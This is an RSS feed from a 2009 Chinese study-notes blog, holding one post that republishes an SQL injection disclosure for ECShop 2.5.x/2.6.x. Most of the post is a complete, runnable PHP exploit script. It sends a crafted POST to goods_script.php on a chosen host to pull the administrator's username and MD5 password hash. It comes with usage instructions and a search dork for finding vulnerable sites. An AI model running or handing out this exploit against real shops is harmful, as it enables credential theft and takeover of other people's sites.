<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>小杜学习笔记 &#187; 安全</title>
	<atom:link href="http://tinydoo.cn/tag/%e5%ae%89%e5%85%a8/feed" rel="self" type="application/rss+xml" />
	<link>http://tinydoo.cn</link>
	<description>记录生活学习点滴</description>
	<lastBuildDate>Thu, 10 Dec 2009 14:43:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>ECShop注射漏洞</title>
		<link>http://tinydoo.cn/2009/272.html</link>
		<comments>http://tinydoo.cn/2009/272.html#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:57:10 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=272</guid>
		<description><![CDATA[by Ryat
http://bbs.wolvez.org
2009-03-24
影响2.5.x和2.6.x,其他版本未测试
<span class="readmore"><a href="http://tinydoo.cn/2009/272.html" title="ECShop注射漏洞" target="_blank">阅读全文——共280字</a></span>]]></description>
			<content:encoded><![CDATA[<p>by Ryat<br />
<a href="http://bbs.wolvez.org/">http://bbs.wolvez.org</a><br />
2009-03-24</p>
<p>影响2.5.x和2.6.x,其他版本未测试</p>
<p>goods_script.php44行:<br />
<code><br />
if (empty($_GET['type']))<br />
{<br />
...<br />
}<br />
elseif ($_GET['type'] == 'collection')<br />
{<br />
...<br />
}<br />
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);<br />
$res = $db-&gt;query($sql);<br />
</code></p>
<p>$sql没有初始化,很明显的一个漏洞:)</p>
<p>EXP:<br />
<code><br />
#!/usr/bin/php<br />
<?php</p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://bbs.wolvez.org<br />
dork: "Powered by ECShop"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
 * works with register_globals = On<br />
 */<br />
if ($argc < 3) {<br />
    print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].' host path<br />
host:      target server (ip/hostname)<br />
path:      path to ecshop<br />
Example:<br />
php '.$argv[0].' localhost /ecshop/<br />
+---------------------------------------------------------------------------+<br />
');<br />
    exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];</p>
<p>$resp = send();<br />
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);</p>
<p>if ($hash)<br />
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");<br />
else<br />
    exit("Exploit Failed!\n");</p>
<p>function send()<br />
{<br />
    global $host, $path;</p>
<p>    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';</p>
<p>    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";<br />
    $data .= "Accept: */*\r\n";<br />
    $data .= "Accept-Language: zh-cn\r\n";<br />
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
    $data .= "Host: $host\r\n";<br />
    $data .= "Content-Length: ".strlen($cmd)."\r\n";<br />
    $data .= "Connection: Close\r\n\r\n";<br />
    $data .= $cmd;</p>
<p>    $fp = fsockopen($host, 80);<br />
    fputs($fp, $data);</p>
<p>    $resp = '';</p>
<p>    while ($fp &#038;&#038; !feof($fp))<br />
        $resp .= fread($fp, 1024);</p>
<p>    return $resp;<br />
}</p>
<p>?><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/272.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
